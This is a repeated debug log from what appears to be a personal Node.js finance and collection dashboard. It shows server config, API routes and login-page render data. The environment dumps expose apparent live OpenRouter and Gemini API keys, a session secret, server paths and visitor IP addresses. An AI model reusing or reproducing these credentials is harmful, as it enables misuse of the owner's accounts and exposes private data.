    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '157.173.126.66',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-24T06:19:05.085Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.173.126.66',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '157.173.126.66',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-23T06:20:24.339Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-23T06:20:24.515Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-23T06:20:24.599Z server-connect:setup:upload Upload middleware configured.
2026-04-23T06:20:24.599Z server-connect:secure CSRF Protection initialized
2026-04-23T06:20:24.601Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-23T06:20:24.603Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-23T06:20:24.604Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-23T06:20:24.605Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-23T06:20:24.606Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-23T06:20:24.607Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-23T06:20:24.610Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-23T06:20:24.611Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-23T06:20:24.611Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-23T06:20:24.612Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-23T06:20:24.612Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-23T06:20:24.612Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-23T06:20:24.613Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-23T06:20:24.613Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-23T06:20:24.613Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-23T06:20:24.614Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-23T06:20:24.614Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-23T06:20:24.614Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-23T06:20:24.615Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-23T06:20:24.615Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-23T06:20:24.616Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-23T06:20:24.616Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-23T06:20:24.617Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-23T06:20:24.617Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-23T06:20:24.617Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-23T06:20:24.617Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-23T06:20:24.618Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-23T06:20:24.618Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-23T06:20:24.618Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-23T06:20:24.618Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-23T06:20:24.618Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-23T06:20:24.619Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-23T06:20:24.619Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-23T06:20:24.619Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-23T06:20:24.619Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-23T06:20:24.619Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-23T06:20:24.619Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-23T06:20:24.620Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-23T06:20:24.726Z server-connect:router Serving templateView /
2026-04-23T06:20:24.728Z server-connect:app Executing action step identify
2026-04-23T06:20:24.728Z server-connect:app options: { provider: 'security' }
2026-04-23T06:20:24.730Z server-connect:auth No login cookie found
2026-04-23T06:20:24.730Z server-connect:output identity: false
2026-04-23T06:20:24.730Z server-connect:app Executing action step restrict
2026-04-23T06:20:24.730Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-23T06:20:24.733Z server-connect:output restrict: undefined
2026-04-23T06:20:25.177Z server-connect:router Serving templateView /login
2026-04-23T06:20:25.178Z server-connect:app Executing action step identify
2026-04-23T06:20:25.178Z server-connect:app options: { provider: 'security' }
2026-04-23T06:20:25.178Z server-connect:auth No login cookie found
2026-04-23T06:20:25.178Z server-connect:output identity: false
2026-04-23T06:20:25.178Z server-connect:router Render template layouts/authentication
2026-04-23T06:20:25.179Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '161.97.120.15',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-24T06:20:25.176Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '161.97.120.15',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '161.97.120.15',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-23T06:29:51.397Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-23T06:29:51.549Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-23T06:29:51.640Z server-connect:setup:upload Upload middleware configured.
2026-04-23T06:29:51.640Z server-connect:secure CSRF Protection initialized
2026-04-23T06:29:51.642Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-23T06:29:51.643Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-23T06:29:51.643Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-23T06:29:51.645Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-23T06:29:51.645Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-23T06:29:51.678Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-23T06:29:51.679Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-23T06:29:51.679Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-23T06:29:51.680Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-23T06:29:51.680Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-23T06:29:51.680Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-23T06:29:51.681Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-23T06:29:51.681Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-23T06:29:51.681Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-23T06:29:51.682Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-23T06:29:51.682Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-23T06:29:51.682Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-23T06:29:51.683Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-23T06:29:51.683Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-23T06:29:51.683Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-23T06:29:51.684Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-23T06:29:51.684Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-23T06:29:51.684Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-23T06:29:51.684Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-23T06:29:51.685Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-23T06:29:51.685Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-23T06:29:51.685Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-23T06:29:51.685Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-23T06:29:51.686Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-23T06:29:51.686Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-23T06:29:51.686Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-23T06:29:51.686Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-23T06:29:51.686Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-23T06:29:51.687Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-23T06:29:51.687Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-23T06:29:51.687Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-23T06:29:51.687Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-23T06:29:51.687Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-23T06:29:51.776Z server-connect:router Serving templateView /
2026-04-23T06:29:51.780Z server-connect:app Executing action step identify
2026-04-23T06:29:51.781Z server-connect:app options: { provider: 'security' }
2026-04-23T06:29:51.782Z server-connect:auth No login cookie found
2026-04-23T06:29:51.782Z server-connect:output identity: false
2026-04-23T06:29:51.782Z server-connect:app Executing action step restrict
2026-04-23T06:29:51.783Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-23T06:29:51.786Z server-connect:output restrict: undefined
2026-04-23T06:29:52.797Z server-connect:router Serving templateView /login
2026-04-23T06:29:52.797Z server-connect:app Executing action step identify
2026-04-23T06:29:52.798Z server-connect:app options: { provider: 'security' }
2026-04-23T06:29:52.798Z server-connect:auth No login cookie found
2026-04-23T06:29:52.798Z server-connect:output identity: false
2026-04-23T06:29:52.798Z server-connect:router Render template layouts/authentication
2026-04-23T06:29:52.798Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; rv:139.0) Gecko/20100101 Firefox/139.0',
    'accept-charset': 'utf-8',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '161.97.101.170',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-24T06:29:52.795Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '161.97.101.170',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; rv:139.0) Gecko/20100101 Firefox/139.0',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '161.97.101.170',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-23T07:14:01.965Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-23T07:14:02.140Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-23T07:14:02.235Z server-connect:setup:upload Upload middleware configured.
2026-04-23T07:14:02.235Z server-connect:secure CSRF Protection initialized
2026-04-23T07:14:02.237Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-23T07:14:02.239Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-23T07:14:02.239Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-23T07:14:02.240Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-23T07:14:02.240Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-23T07:14:02.241Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-23T07:14:02.242Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-23T07:14:02.242Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-23T07:14:02.279Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-23T07:14:02.280Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-23T07:14:02.281Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-23T07:14:02.281Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-23T07:14:02.282Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-23T07:14:02.283Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-23T07:14:02.283Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-23T07:14:02.283Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-23T07:14:02.284Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-23T07:14:02.284Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-23T07:14:02.284Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-23T07:14:02.285Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-23T07:14:02.285Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-23T07:14:02.285Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-23T07:14:02.285Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-23T07:14:02.286Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-23T07:14:02.286Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-23T07:14:02.286Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-23T07:14:02.286Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-23T07:14:02.287Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-23T07:14:02.287Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-23T07:14:02.287Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-23T07:14:02.287Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-23T07:14:02.287Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-23T07:14:02.288Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-23T07:14:02.288Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-23T07:14:02.288Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-23T07:14:02.288Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-23T07:14:02.288Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-23T07:14:02.289Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-23T07:14:02.353Z server-connect:router Serving templateView /
2026-04-23T07:14:02.377Z server-connect:app Executing action step identify
2026-04-23T07:14:02.378Z server-connect:app options: { provider: 'security' }
2026-04-23T07:14:02.379Z server-connect:auth No login cookie found
2026-04-23T07:14:02.379Z server-connect:output identity: false
2026-04-23T07:14:02.379Z server-connect:app Executing action step restrict
2026-04-23T07:14:02.380Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-23T07:14:02.383Z server-connect:output restrict: undefined
2026-04-23T07:14:02.619Z server-connect:router Serving templateView /login
2026-04-23T07:14:02.619Z server-connect:app Executing action step identify
2026-04-23T07:14:02.619Z server-connect:app options: { provider: 'security' }
2026-04-23T07:14:02.619Z server-connect:auth No login cookie found
2026-04-23T07:14:02.619Z server-connect:output identity: false
2026-04-23T07:14:02.619Z server-connect:router Render template layouts/authentication
2026-04-23T07:14:02.620Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15',
    'accept-charset': 'utf-8',
    referer: 'https://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '157.173.126.55',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-24T07:14:02.617Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.173.126.55',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15',
    HTTP_ACCEPT_CHARSET: 'utf-8',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '157.173.126.55',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-23T07:23:46.253Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
